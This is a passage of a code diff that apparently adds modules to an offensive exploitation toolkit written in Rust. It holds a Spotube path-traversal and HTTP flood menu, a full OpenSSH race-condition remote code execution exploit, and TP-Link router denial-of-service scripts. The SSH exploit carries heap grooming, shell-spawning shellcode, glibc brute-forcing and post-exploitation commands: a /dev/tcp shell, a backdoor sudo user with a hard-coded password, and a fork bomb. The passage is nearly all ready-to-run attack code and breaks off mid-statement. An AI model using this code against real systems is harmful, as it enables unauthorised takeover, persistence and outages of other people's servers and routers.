for _ in 0..count {
|
||||
let _ = execute(host, port, path).await;
|
||||
if delay > 0.0 {
|
||||
sleep(Duration::from_secs_f64(delay)).await;
|
||||
}
|
||||
}
|
||||
println!("🔥 Done flood.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// //// // CLI menu that mimics the original Python script, now with WS and DoS
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("⚙️ Spotube Advanced Exploit CLI\n");
|
||||
|
||||
let host = target.to_string(); // use target passed from set command
|
||||
|
||||
// //// // port prompt (optional override)
|
||||
print!("Enter port [17086]: ");
|
||||
io::stdout().flush()?;
|
||||
let mut p = String::new();
|
||||
io::stdin().read_line(&mut p)?;
|
||||
let port = {
|
||||
let t = p.trim();
|
||||
if t.is_empty() { "17086".to_string() } else { t.to_string() }
|
||||
};
|
||||
|
||||
loop {
|
||||
println!("\n=== Menu ===");
|
||||
println!("1. Ping server");
|
||||
println!("2. Next track");
|
||||
println!("3. Previous track");
|
||||
println!("4. Toggle play/pause");
|
||||
println!("5. Inject path-traversal via WS");
|
||||
println!("6. Flood HTTP endpoint (DoS)");
|
||||
println!("7. Exit");
|
||||
|
||||
print!("Choose an option: ");
|
||||
io::stdout().flush()?;
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
println!("\n▶️ Ping server …");
|
||||
let _ = execute(&host, &port, "/ping").await;
|
||||
}
|
||||
"2" => {
|
||||
println!("\n▶️ Next track …");
|
||||
let _ = execute(&host, &port, "/playback/next").await;
|
||||
}
|
||||
"3" => {
|
||||
println!("\n▶️ Previous track …");
|
||||
let _ = execute(&host, &port, "/playback/previous").await;
|
||||
}
|
||||
"4" => {
|
||||
println!("\n▶️ Toggle play/pause …");
|
||||
let _ = execute(&host, &port, "/playback/toggle-playback").await;
|
||||
}
|
||||
"5" => {
|
||||
ws_inject_path_traversal(&host, &port).await?;
|
||||
}
|
||||
"6" => {
|
||||
// //// // flood prompts
|
||||
print!("Endpoint to flood (e.g. /playback/next): ");
|
||||
io::stdout().flush()?;
|
||||
let mut path = String::new();
|
||||
io::stdin().read_line(&mut path)?;
|
||||
let path = path.trim();
|
||||
|
||||
print!("Number of requests [100]: ");
|
||||
io::stdout().flush()?;
|
||||
let mut cnt = String::new();
|
||||
io::stdin().read_line(&mut cnt)?;
|
||||
let count = cnt.trim().parse().unwrap_or(100);
|
||||
|
||||
print!("Delay between requests (s) [0]: ");
|
||||
io::stdout().flush()?;
|
||||
let mut dly = String::new();
|
||||
io::stdin().read_line(&mut dly)?;
|
||||
let delay = dly.trim().parse().unwrap_or(0.0);
|
||||
|
||||
dos_flood(&host, &port, path, count, delay).await?;
|
||||
}
|
||||
"7" => {
|
||||
println!("👋 Goodbye!");
|
||||
break;
|
||||
}
|
||||
_ => println!("❌ Invalid choice, try again."),
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod opensshserver_9_8p1race_condition;
|
||||
@@ -0,0 +1,432 @@
|
||||
use std::io::{self, ErrorKind, Write};
|
||||
use std::sync::Arc;
|
||||
use anyhow::{Result, bail, Context};
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{sleep, Duration, Instant};
|
||||
use tokio::sync::Semaphore;
|
||||
use futures_util::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
const MAX_PACKET_SIZE: usize = 256 * 1024;
|
||||
const LOGIN_GRACE_TIME: f64 = 120.0;
|
||||
const CHUNK_ALIGN: usize = 16;
|
||||
const CONCURRENCY: usize = 256;
|
||||
|
||||
const GLIBC_BASE_START: u64 = 0x7ffff79e4000;
|
||||
const GLIBC_BASE_END: u64 = 0x7ffff7ffe000;
|
||||
const GLIBC_STEP: u64 = 0x200000;
|
||||
|
||||
const FAKE_VTABLE_OFFSET: u64 = 0x21b740;
|
||||
const FAKE_CODECVT_OFFSET: u64 = 0x21d7f8;
|
||||
|
||||
const SHELLCODE: &[u8] = b"\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
|
||||
|
||||
const BIND_SHELL_PORT: u16 = 55555;
|
||||
const PERSISTENT_USER: &str = "aptpwn";
|
||||
const PERSISTENT_PASS: &str = "Root4life!";
|
||||
|
||||
fn chunk_align(s: usize) -> usize {
|
||||
(s + CHUNK_ALIGN - 1) & !(CHUNK_ALIGN - 1)
|
||||
}
|
||||
|
||||
fn create_fake_file_structure(buf: &mut [u8], glibc_base: u64) {
|
||||
buf.fill(0);
|
||||
let len = buf.len();
|
||||
if len >= 16 {
|
||||
buf[len - 16..len - 8].copy_from_slice(&(glibc_base + FAKE_VTABLE_OFFSET).to_le_bytes());
|
||||
buf[len - 8..len].copy_from_slice(&(glibc_base + FAKE_CODECVT_OFFSET).to_le_bytes());
|
||||
}
|
||||
if len > 0x30 + 8 {
|
||||
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
|
||||
}
|
||||
}
|
||||
|
||||
fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
|
||||
packet.fill(0);
|
||||
packet[..8].copy_from_slice(b"ssh-rsa ");
|
||||
let shell_offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
|
||||
if shell_offset + SHELLCODE.len() <= packet.len() {
|
||||
packet[shell_offset..shell_offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
|
||||
}
|
||||
for i in 0..27 {
|
||||
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
|
||||
if pos + chunk_align(304) <= packet.len() {
|
||||
create_fake_file_structure(&mut packet[pos..pos + chunk_align(304)], glibc_base);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
|
||||
let len = data.len() + 5;
|
||||
let mut packet_data = vec![0u8; len];
|
||||
packet_data[0..4].copy_from_slice(&(len as u32).to_be_bytes());
|
||||
packet_data[4] = packet_type;
|
||||
packet_data[5..].copy_from_slice(data);
|
||||
stream.write_all(&packet_data).await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn normalize_target(ip: &str, port: u16) -> Result<String> {
|
||||
let ip_trimmed = ip.trim_matches(|c| c == '[' || c == ']');
|
||||
if ip_trimmed.contains(':') && !ip_trimmed.contains('.') {
|
||||
Ok(format!("[{}]:{}", ip_trimmed, port))
|
||||
} else {
|
||||
Ok(format!("{}:{}", ip_trimmed, port))
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
|
||||
println!("[*] Connected! Interactive shell below (type 'exit' to quit):");
|
||||
let (mut rd, mut wr) = tokio::io::split(conn);
|
||||
let mut stdin = tokio::io::stdin();
|
||||
let mut stdout = tokio::io::stdout();
|
||||
|
||||
let reader = tokio::spawn(async move {
|
||||
let mut buf = [0u8; 4096];
|
||||
loop {
|
||||
match rd.read(&mut buf).await {
|
||||
Ok(0) => break,
|
||||
Ok(n) => {
|
||||
if stdout.write_all(&buf[..n]).await.is_err() { break; }
|
||||
if stdout.flush().await.is_err() { break; }
|
||||
}
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
let writer = tokio::spawn(async move {
|
||||
let mut buf = [0u8; 4096];
|
||||
loop {
|
||||
match stdin.read(&mut buf).await {
|
||||
Ok(0) => break,
|
||||
Ok(n) => {
|
||||
if wr.write_all(&buf[..n]).await.is_err() { break; }
|
||||
if wr.flush().await.is_err() { break; }
|
||||
}
|
||||
Err(_) => break,
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
let _ = tokio::try_join!(reader, writer);
|
||||
println!("[*] Shell session ended.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
|
||||
let addr = normalize_target(ip, port)?;
|
||||
let stream = TcpStream::connect(&addr).await.with_context(|| format!("Failed to connect to {}", addr))?;
|
||||
Ok(stream)
|
||||
}
|
||||
|
||||
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
|
||||
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
|
||||
loop {
|
||||
match stream.read(buf).await {
|
||||
Ok(n) if n > 0 => return Ok(n),
|
||||
Ok(_) => bail!("Connection closed while receiving data"),
|
||||
Err(ref e) if e.kind() == ErrorKind::WouldBlock => {
|
||||
sleep(Duration::from_millis(1)).await;
|
||||
continue;
|
||||
}
|
||||
Err(e) => return Err(e.into()),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
|
||||
let mut buffer = [0u8; 256];
|
||||
recv_retry(stream, &mut buffer).await.context("Failed to receive SSH version")?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
|
||||
let payload = vec![0u8; 36];
|
||||
send_packet(stream, 20, &payload).await.context("Failed to send KEX_INIT")
|
||||
}
|
||||
|
||||
async fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
|
||||
let mut buffer = [0u8; 1024];
|
||||
recv_retry(stream, &mut buffer).await.context("Failed to receive KEX_INIT")?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
|
||||
send_ssh_version(stream).await.context("Handshake: send_ssh_version failed")?;
|
||||
receive_ssh_version(stream).await.context("Handshake: receive_ssh_version failed")?;
|
||||
send_kex_init(stream).await.context("Handshake: send_kex_init failed")?;
|
||||
receive_kex_init(stream).await.context("Handshake: receive_kex_init failed")?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn prepare_heap(stream: &mut TcpStream, glibc_base: u64) -> Result<()> {
|
||||
for i in 0..10 {
|
||||
let tcache_chunk = vec![b'A'; 64];
|
||||
send_packet(stream, 5, &tcache_chunk).await.with_context(|| format!("Prepare heap: tcache_chunk {}", i))?;
|
||||
}
|
||||
for i in 0..27 {
|
||||
let large_hole = vec![b'B'; 8192];
|
||||
let small_hole = vec![b'C'; 320];
|
||||
send_packet(stream, 5, &large_hole).await.with_context(|| format!("Prepare heap: large_hole {}", i))?;
|
||||
send_packet(stream, 5, &small_hole).await.with_context(|| format!("Prepare heap: small_hole {}", i))?;
|
||||
}
|
||||
for i in 0..27 {
|
||||
let mut fake = vec![0u8; 4096];
|
||||
create_fake_file_structure(&mut fake, glibc_base);
|
||||
send_packet(stream, 5, &fake).await.with_context(|| format!("Prepare heap: fake_file_structure {}", i))?;
|
||||
}
|
||||
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
|
||||
send_packet(stream, 5, &large_fill).await.context("Prepare heap: large_fill")?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
|
||||
let error_packet_data = if error_type == 1 {
|
||||
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
|
||||
} else {
|
||||
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
|
||||
};
|
||||
let start = Instant::now();
|
||||
send_packet(stream, 50, &error_packet_data).await?;
|
||||
let mut buf = [0u8; 1024];
|
||||
let _ = stream.read(&mut buf).await;
|
||||
Ok(start.elapsed().as_secs_f64())
|
||||
}
|
||||
|
||||
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
|
||||
let t1 = measure_response_time(stream, 1).await.context("Measuring time for packet 1")?;
|
||||
let t2 = measure_response_time(stream, 2).await.context("Measuring time for packet 2")?;
|
||||
Ok(t2 - t1)
|
||||
}
|
||||
|
||||
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_base: u64) -> Result<bool> {
|
||||
let mut public_key_packet_data = vec![0u8; MAX_PACKET_SIZE];
|
||||
create_public_key_packet(&mut public_key_packet_data, glibc_base);
|
||||
stream.write_all(&public_key_packet_data[..public_key_packet_data.len() - 1]).await?;
|
||||
|
||||
let calculated_wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
|
||||
if calculated_wait_time < 0.0 {
|
||||
println!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time);
|
||||
}
|
||||
let wait_time_duration = Duration::from_secs_f64(calculated_wait_time.max(0.0));
|
||||
sleep(wait_time_duration).await;
|
||||
|
||||
stream.write_all(&public_key_packet_data[public_key_packet_data.len() - 1..]).await?;
|
||||
let mut buf = [0u8; 1024];
|
||||
match stream.read(&mut buf).await {
|
||||
Ok(n) if n > 0 && !buf.starts_with(b"SSH-2.0-") => Ok(true),
|
||||
Ok(0) => Ok(true),
|
||||
Err(_) => Ok(true),
|
||||
_ => Ok(false),
|
||||
}
|
||||
}
|
||||
|
||||
fn print_post_actions() {
|
||||
println!("Available Post-Ex Actions:");
|
||||
println!(" 1. Bind Shell (port {})", BIND_SHELL_PORT);
|
||||
println!(" 2. Persistent user '{}'", PERSISTENT_USER);
|
||||
println!(" 3. Fork bomb (Denial/Crash)");
|
||||
println!(" 4. Interactive PTY shell (recommended)");
|
||||
}
|
||||
|
||||
fn get_postex_command(action: u8) -> String {
|
||||
match action {
|
||||
1 => format!(
|
||||
"nohup bash -c 'bash -i >& /dev/tcp/0.0.0.0/{}/0 2>&1 &'",
|
||||
BIND_SHELL_PORT
|
||||
),
|
||||
2 => format!(
|
||||
"useradd -m -p $(openssl passwd -1 '{}') {} && usermod -aG sudo {}",
|
||||
PERSISTENT_PASS, PERSISTENT_USER, PERSISTENT_USER
|
||||
),
|
||||
3 => ":(){ :|:& };:".to_string(),
|
||||
4 => "exec /bin/bash -i".to_string(),
|
||||
_ => "".to_string(),
|
||||
}
|
||||
}
|
||||
|
||||
async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
|
||||
println!("[*] Target: {}:{}", target_ip, port_num);
|
||||
|
||||
print_post_actions();
|
||||
print!("Select post-ex action [1-4, default 4]: ");
|
||||
std::io::stdout().flush().ok();
|
||||
let mut choice_str = String::new();
|
||||
std::io::stdin().read_line(&mut choice_str).ok();
|
||||
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
|
||||
|
||||
let num_attempts_per_base: usize;
|
||||
loop {
|
||||
print!("Enter the number of attempts per GLIBC base: ");
|
||||
std::io::stdout().flush().context("Failed to flush stdout for attempts input")?;
|
||||
let mut attempts_str = String::new();
|
||||
std::io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
|
||||
match attempts_str.trim().parse::<usize>() {
|
||||
Ok(num) if num > 0 => {
|
||||
num_attempts_per_base = num;
|
||||
break;
|
||||
}
|
||||
_ => {
|
||||
println!("[!] Invalid input. Please enter a positive integer for the number of attempts.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let postex_cmd = get_postex_command(mode_choice);
|
||||
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
|
||||
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
|
||||
|
||||
let mut glibc_bases = vec![];
|
||||
let mut current_base = GLIBC_BASE_START;
|
||||
while current_base < GLIBC_BASE_END {
|
||||
glibc_bases.push(current_base);
|
||||
current_base += GLIBC_STEP;
|
||||
}
|
||||
|
||||
println!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP);
|
||||
println!("[*] Total GLIBC bases to check: {}", glibc_bases.len());
|
||||
println!("[*] Attempts per GLIBC base: {}", num_attempts_per_base);
|
||||
|
||||
|
||||
for glibc_base_addr in glibc_bases {
|
||||
for attempt_num in 0..num_attempts_per_base {
|
||||
let ip_clone = target_ip.clone();
|
||||
let sem_clone = semaphore.clone();
|
||||
let cmd_clone = postex_cmd.clone();
|
||||
|
||||
let permit = sem_clone.acquire_owned().await.context("Failed to acquire semaphore permit")?;
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
let mut stream = match setup_connection(&ip_clone, port_num).await {
|
||||
Ok(s) => s,
|
||||
Err(_e) => {
|
||||
return Ok(false);
|
||||
}
|
||||
};
|
||||
|
||||
if let Err(_e) = perform_ssh_handshake(&mut stream).await {
|
||||
return Ok(false);
|
||||
}
|
||||
if let Err(_e) = prepare_heap(&mut stream, glibc_base_addr).await {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
let parsing_time = match time_final_packet(&mut stream).await {
|
||||
Ok(pt) => pt,
|
||||
Err(_e) => {
|
||||
return Ok(false);
|
||||
}
|
||||
};
|
||||
|
||||
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
|
||||
println!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num);
|
||||
|
||||
if !cmd_clone.is_empty() {
|
||||
println!("[*] Post-ex command to execute (conceptually): {}", cmd_clone);
|
||||
}
|
||||
|
||||
match mode_choice {
|
||||
1 => {
|
||||
println!("[*] Attempting to connect to bind shell on port {}...", BIND_SHELL_PORT);
|
||||
let bind_shell_target_addr = format!("{}:{}", ip_clone, BIND_SHELL_PORT);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
match TcpStream::connect(&bind_shell_target_addr).await {
|
||||
Ok(conn_stream) => {
|
||||
if let Err(e) = handle_bind_shell_session(conn_stream).await {
|
||||
println!("[!] Bind shell session error: {}", e);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("[!] Could not connect to bind shell at {}: {}", bind_shell_target_addr, e);
|
||||
println!("[!] If firewall blocks remote connects, try post-ex #2 or #4.");
|
||||
}
|
||||
}
|
||||
}
|
||||
2 => {
|
||||
println!("[*] Verifying if user '{}' exists. Try SSH: ssh {}@{}", PERSISTENT_USER, PERSISTENT_USER, ip_clone);
|
||||
println!("[*] Password: {}", PERSISTENT_PASS);
|
||||
println!("(Manual check required. If login works, exploit succeeded!)");
|
||||
}
|
||||
3 => {
|
||||
println!("[!] Fork bomb sent. Target likely crashed or hung (manual verification needed).");
|
||||
}
|
||||
4 => {
|
||||
println!("[*] Interactive PTY shell requested. The shellcode attempts to spawn /bin/sh.");
|
||||
println!("[*] If successful, the SSH session might drop or provide a new prompt.");
|
||||
println!("Manual attach might be possible via existing connection if it didn't drop, or check netcat.");
|
||||
}
|
||||
_ => {
|
||||
println!("[*] Post-ex action unknown/unsupported. Check exploit results manually.");
|
||||
}
|
||||
}
|
||||
return Ok(true);
|
||||
}
|
||||
Ok(false)
|
||||
}));
|
||||
}
|
||||
}
|
||||
|
||||
let mut success_found = false;
|
||||
while let Some(task_result) = tasks.next().await {
|
||||
match task_result {
|
||||
Ok(Ok(true)) => {
|
||||
println!("[SUCCESS] Exploit Succeeded! One of the attempts was successful.");
|
||||
println!("[*] Check chosen post-exploitation action effects.");
|
||||
if mode_choice == 1 {
|
||||
println!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT);
|
||||
}
|
||||
success_found = true;
|
||||
break;
|
||||
}
|
||||
Ok(Ok(false)) => { }
|
||||
Ok(Err(e)) => eprintln!("[!] Task error (internal logic error): {}", e),
|
||||
Err(e) => eprintln!("[!] Task join error: {}", e),
|
||||
}
|
||||
}
|
||||
|
||||
if !success_found {
|
||||
println!("[-] All attempts finished. Exploit likely unsuccessful with current parameters.");
|
||||
println!("[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.");
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub async fn run(target_info: &str) -> anyhow::Result<()> {
|
||||
if target_info.is_empty() {
|
||||
bail!("Target IP address/hostname cannot be empty.");
|
||||
}
|
||||
if target_info.contains(':') {
|
||||
bail!("Invalid target format. Expected IP address or hostname, got '{}'. Port will be asked separately.", target_info);
|
||||
}
|
||||
|
||||
let ip_address = target_info.to_string();
|
||||
let port_num: u16;
|
||||
|
||||
loop {
|
||||
print!("Enter the target port number (e.g., 22): ");
|
||||
io::stdout().flush().context("Failed to flush stdout")?;
|
||||
|
||||
let mut port_input = String::new();
|
||||
io::stdin().read_line(&mut port_input).context("Failed to read port from stdin")?;
|
||||
|
||||
match port_input.trim().parse::<u16>() {
|
||||
Ok(port) if port > 0 => {
|
||||
port_num = port;
|
||||
break;
|
||||
}
|
||||
Ok(_) => {
|
||||
println!("[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.");
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[!] Invalid input. Please enter a valid port number (1-65535).");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
execute_exploit_logic(ip_address, port_num).await
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
pub mod tp_link_vn020_dos;
|
||||
pub mod tplink_wr740n_dos;
|
||||
@@ -0,0 +1,132 @@
|
||||
// CVE-2024-12342 - TP-Link VN020 F3v(T) - Denial of Service
|
||||
// Exploit Author: Mohamed Maatallah
|
||||
// Ported to Rust
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use reqwest::Client;
|
||||
use std::io::{self, BufRead};
|
||||
use std::sync::{
|
||||
atomic::{AtomicBool, Ordering},
|
||||
Arc,
|
||||
};
|
||||
use std::thread;
|
||||
use std::time::Duration;
|
||||
use tokio::join;
|
||||
|
||||
/// Normalize IPv6/IPv4/hostname and fix extra brackets
|
||||
fn normalize_target_host(raw: &str) -> String {
|
||||
// Remove outer brackets if any, then reapply correctly for IPv6
|
||||
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
|
||||
if stripped.contains(':') {
|
||||
format!("[{stripped}]")
|
||||
} else {
|
||||
stripped.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Send the malformed AddPortMapping SOAP request (PoC 1)
|
||||
async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
|
||||
// Missing parameters PoC - will crash the router
|
||||
let url = format!("http://{target}:5431/control/WANIPConnection");
|
||||
let body = r#"<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<s:Body>
|
||||
<u:AddPortMapping>
|
||||
<NewPortMappingDescription>hello</NewPortMappingDescription>
|
||||
</u:AddPortMapping>
|
||||
</s:Body>
|
||||
</s:Envelope>"#;
|
||||
|
||||
let res = client
|
||||
.post(&url)
|
||||
.header("Content-Type", "text/xml")
|
||||
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"")
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send DoS request 1 (Missing Parameters)")?;
|
||||
|
||||
println!("[+] PoC 1 sent. Status: {}", res.status());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Send the memory corruption SetConnectionType SOAP request (PoC 2)
|
||||
async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
|
||||
// Memory corruption PoC using format string overflow
|
||||
let long_payload = "%x".repeat(10_000);
|
||||
let url = format!("http://{target}:5431/control/WANIPConnection");
|
||||
let body = format!(
|
||||
r#"<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
|
||||
<s:Body>
|
||||
<u:SetConnectionType xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
|
||||
<NewConnectionType>{}</NewConnectionType>
|
||||
</u:SetConnectionType>
|
||||
</s:Body>
|
||||
</s:Envelope>"#,
|
||||
long_payload
|
||||
);
|
||||
|
||||
let res = client
|
||||
.post(&url)
|
||||
.header("Content-Type", "text/xml")
|
||||
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\"")
|
||||
.body(body)
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send DoS request 2 (Memory Corruption)")?;
|
||||
|
||||
println!("[+] PoC 2 sent. Status: {}", res.status());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Entry point for the exploit module
|
||||
pub async fn run(raw_target: &str) -> Result<()> {
|
||||
// Normalize target
|
||||
let target = normalize_target_host(raw_target);
|
||||
|
||||
// Create HTTP client with insecure certs accepted and 5s timeout
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
println!("[*] TP-Link VN020-F3v(T) DoS Exploit Running...");
|
||||
println!("[!] This module will not delay or stop unless you type 'stop' and press ENTER.");
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stop_flag_clone = Arc::clone(&stop_flag);
|
||||
|
||||
// Monitor stdin for "stop" command
|
||||
thread::spawn(move || {
|
||||
let stdin = io::stdin();
|
||||
for line in stdin.lock().lines() {
|
||||
if let Ok(input) = line {
|
||||
if input.trim().eq_ignore_ascii_case("stop") {
|
||||
stop_flag_clone.store(true, Ordering::Relaxed);
|
||||
println!("[*] Stopping attack...");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Continuous dual PoC attack until user stops
|
||||
while !stop_flag.load(Ordering::Relaxed) {
|
||||
let (r1, r2) = join!(
|
||||
dos_missing_parameters(&client, &target),
|
||||
dos_memory_corruption(&client, &target)
|
||||
);
|
||||
|
||||
if let Err(e) = r1 {
|
||||
eprintln!("[!] Error during PoC 1: {e}");
|
||||
}
|
||||
if let Err(e) = r2 {
|
||||
eprintln!("[!] Error during PoC 2: {e}");
|
||||
}
|
||||
}
|
||||
|
||||
println!("[+] Exploit session ended.");
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
// Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'
|
||||
// Date: 8/12/2023
|
||||
// Exploit Author: Anish Feroz (ZEROXINN)
|
||||
// Vendor Homepage: http://www.tp-link.com
|
||||
// Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
|
||||
// Tested on: TP-Link TL-WR740N
|
||||
|
||||
// Description:
|
||||
// There exists a buffer overflow vulnerability in TP-Link TL-WR740 router
|
||||
// that can allow an attacker to crash the web server running on the router
|
||||
// by sending a crafted request. To bring back the http (webserver),
|
||||
// a user must physically reboot the router.
|
||||
|
||||
use anyhow::Result;
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
use reqwest::{Client, header::HeaderMap};
|
||||
use std::io;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
/// Normalize IP to handle IPv6 and multiple brackets
|
||||
fn normalize_ip(ip: &str) -> String {
|
||||
// Remove all surrounding brackets
|
||||
let mut ip = ip.trim_matches('[').trim_matches(']').to_string();
|
||||
// Add brackets for IPv6
|
||||
if ip.contains(':') && !ip.starts_with('[') {
|
||||
ip = format!("[{}]", ip);
|
||||
}
|
||||
ip
|
||||
}
|
||||
|
||||
/// Internal function to send crafted request to crash router
|
||||
async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<()> {
|
||||
// Normalize the IP for correct URL formatting
|
||||
let ip = normalize_ip(ip);
|
||||
|
||||
// Create a crash pattern of exact 192 characters using "crash_crash_on_a_loop_"
|
||||
let crash_pattern = "crash_crash_on_a_loop_";
|
||||
let repeated = crash_pattern.repeat(9); // 9*22 = 198 > 192
|
||||
let payload = &repeated[..192]; // truncate to exact length
|
||||
|
||||
// Construct vulnerable URL
|
||||
let target_url = format!(
|
||||
"http://{ip}:{port}/userRpm/PingIframeRpm.htm?ping_addr={payload}&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20",
|
||||
ip = ip,
|
||||
port = port,
|
||||
payload = payload
|
||||
);
|
||||
|
||||
// Build basic auth header
|
||||
let credentials = format!("{username}:{password}");
|
||||
let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes());
|
||||
|
||||
// Prepare HTTP headers
|
||||
let mut headers = HeaderMap::new();
|
||||
headers.insert("Host", format!("{ip}:{port}", ip = ip, port = port).parse()?);
|
||||
headers.insert("Authorization", format!("Basic {}", encoded_credentials).parse()?);
|
||||
headers.insert("Upgrade-Insecure-Requests", "1".parse()?);
|
||||
headers.insert("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36".parse()?);
|
||||
headers.insert("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9".parse()?);
|
||||
headers.insert("Referer", format!("http://{ip}:{port}/userRpm/DiagnosticRpm.htm", ip = ip, port = port).parse()?);
|
||||
headers.insert("Accept-Encoding", "gzip, deflate".parse()?);
|
||||
headers.insert("Accept-Language", "en-US,en;q=0.9".parse()?);
|
||||
headers.insert("Connection", "close".parse()?);
|
||||
|
||||
let client = Client::builder()
|
||||
.default_headers(headers)
|
||||
.build()?;
|
||||
|
||||
let response = client.get(&target_url).send().await?;
|
||||
|
||||
if response.status().as_u16() == 200 {
|
||||
println!("[+] Server Crashed (200 OK received)");
|
||||
let body = response.text().await.unwrap_or_default();
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!(
|
||||
"[-] Script Completed with status code: {}",
